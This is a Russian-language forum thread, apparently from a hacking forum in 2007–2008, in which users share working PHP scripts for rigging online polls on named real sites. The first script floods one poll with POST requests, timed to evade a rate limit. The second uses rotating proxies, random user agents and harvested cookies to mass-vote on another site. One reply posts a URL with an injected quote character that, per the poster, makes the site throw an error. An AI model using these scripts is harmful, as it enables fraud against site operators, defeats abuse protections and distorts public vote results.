Накрутка голосов (www.golosa-net.spb.ru)

Discussion in 'PHP' started by DCRM, 9 Oct 2007.

  1. DCRM

    DCRM Elder - Старейшина

    Joined:
    12 Dec 2006
    Messages:
    67
    Likes Received:
    27
    Reputations:
    -1
    Всем привет! Решил таки я поискать чего нибудь о WoW'e и на (wow.gameguru.ru) увидел голосование(аля где играете?) и => конечно же пиратский сервер выбрал! :D
    И не очень понравилось что так мало там голосовало за него... решил повторить... получилось!!!


    Проверки Куков - НЕТ, IP - НЕТ! Есть только ограничение на кол-во запросов в 30 секунд(как после выяснилось)...

    И вот собственно накрутчик:

    PHP:
    <?php

    /*
    Code by DCRM & Google.com =)
    Накрутчик голосов на golosa-net.spb.ru 
    v.0.3
    */

    $ii 10000// Сколько голосов накрутим
    $idd 6090// ID Опроса
    $iot 34957// ID Нужного нам ответа

    set_time_limit(0);
    ignore_user_abort(1);

    $posts='id_g='.$idd.'&otvet='.$iot;
    $query="POST /priem.php4 HTTP/1.0\r\n".
    "Referer: http://www.golosa-net.spb.ru \r\n".
    "User-Agent: Opera/8.50 (Windows NT 5.1; U; ru)\r\n".
    "Host: www.golosa-net.spb.ru\r\n".
    "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n".
    "Accept-Language: ru,en;q=0.9\r\n".
    "Accept-Charset: windows-1251, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n".
    "Proxy-Connection: close\r\n".
    "Content-Type: application/x-www-form-urlencoded\r\n".
    "Content-Length: ".strlen($posts)."\r\n\r\n".
    $posts."\r\n\r\n";
    $nd=date(s);
    for (
    $i=1;$i<$ii;$i++) {
     
    $nt=date(s);
      if (
    $nd+20>$nt) {
       
    $socket=fsockopen('www.golosa-net.spb.ru',80,$errno,$errstr,60);
        
    fwrite($socket,$query);
        while(!
    feof($socket)) $s=fgets($socket);
        
    fclose($socket);sleep(1);}
      else {
    sleep(40); $nd=date(s);}
    };
    ?>

    P.S. И по сию минуту идёт накрутка голосов :p

    P.P.S. Не судите строго) это моя вторая работа :)
     
    #1 DCRM, 9 Oct 2007
    Last edited: 10 Oct 2007
    1 person likes this.
  2. NIGHT_WOLF

    NIGHT_WOLF Member

    Joined:
    17 Aug 2005
    Messages:
    192
    Likes Received:
    17
    Reputations:
    2
    А чтобы с листом прокси работал можешь написать ? =)
     
  3. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    dcrm, если ты научился посылать Post запросы, необязательно здесь об этом говорить.
    night_wolf, см. в теме "Полезные скрипты" мой накрутчик.
     
    1 person likes this.
  4. scrat

    scrat кодер

    Joined:
    8 Apr 2007
    Messages:
    625
    Likes Received:
    541
    Reputations:
    3
    непохековый метод! вот хек: http://www.golosa-net.spb.ru/vopros.php4?id_g=6267%60
     
    3 people like this.
  5. DCRM

    DCRM Elder - Старейшина

    Joined:
    12 Dec 2006
    Messages:
    67
    Likes Received:
    27
    Reputations:
    -1
    2Piflit Если не "ЗДЕСЬ" то где же?)
    2scrat угу... если отправить неполный запрос то ошибка вываливается...
    p.s. Помоему ещё кто то присоединился накрутить сообщения! расчитывал на 40к а щас все 80к... =)))
     
  6. DCRM

    DCRM Elder - Старейшина

    Joined:
    12 Dec 2006
    Messages:
    67
    Likes Received:
    27
    Reputations:
    -1
    Накрутка голосов (www.open-fest.ru)

    Тадам... не называйте меня "Археологом", просто нашёл старую свою тему... и решил запостить новый накрутчик, уже с поддержкой прокси, с cURL'ами...
    Отдельное спасибо 159932, ChaaK, .:EnoT:. за хорошие наставления :)

    PHP:
    <?php
        set_time_limit
    (0);
        
    ignore_user_abort(1);
        
    $file file('proxy.txt'); // Список проксей
        
    $usag file('ua.txt'); // Список UserAgents
        
    $id='xxx'//Номер счастливчика
        
    $url "http://open-fest.ru/muz/{$id}/"//Отсюда забираем печеньки
        
    $url_x 'http://open-fest.ru/'// А тут живёт голосование
        
    function pregCookie($headers)
         {
             
    preg_match_all('#Set-cookie: (.*;)#UiSm',$headers,$headers);
            return 
    implode('',$headers['1']).' /';
         }  
         function 
    curl_set($host='http://google.com',$get='',$proxy=false,$port=false,$ugnt  =false,$ref=false,$cookie=false,$sleep=2,$debug=false)
         {
            
    $ch curl_init();
            
    curl_setopt($chCURLOPT_URL$host.$get); 
            
    curl_setopt($chCURLOPT_HEADER1);
            
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
            
    curl_setopt($chCURLOPT_FOLLOWLOCATION1);
            if (
    $ugnt) {curl_setopt($chCURLOPT_USERAGENT$ugnt);};
            if (
    $ref) {curl_setopt($chCURLOPT_REFERER$ref);};
            if (
    $proxy) {curl_setopt($chCURLOPT_PROXY$proxy.':'.$port);};
            if (!
    $cookie) {ob_start();} else { curl_setopt($chCURLOPT_COOKIE$cookie);};
            if (!
    $debug) {curl_exec($ch);} else {$result curl_exec($ch); print_r($result);};
            
    curl_close ($ch);
            if (!
    $cookie) {$cookie=pregCookie(ob_get_contents()); ob_end_clean(); return $cookie;};
            
    sleep($sleep);
         }
        for (
    $i=0;$i<count($file);$i++)
        {
            
    $prox[$i]=explode(':'$file[$i]);
            
    $get ="db.php?j=10&q={$id}&t=".$prox[$i][0]."&c=10";
            
    $uag='User-Agent: '.$usag[rand(0,count($usag)-1)].' /';
            
    curl_set($url_x,$get,$prox[$i][0],$prox[$i][1],$uag,$url_x,curl_set($url,'',$prox[$i][0],$prox[$i][1],$uag,$url),rand(5,50));
        }
    ?> 
    ps. Список UserAgents можно найти в >>ЭтоЙ ТемЕ<<
     
    #6 DCRM, 17 Dec 2008
    Last edited: 17 Dec 2008
    1 person likes this.
  7. TAULUMyca

    TAULUMyca Banned

    Joined:
    31 Aug 2008
    Messages:
    0
    Likes Received:
    12
    Reputations:
    -3
    Мамонт увидел свои следы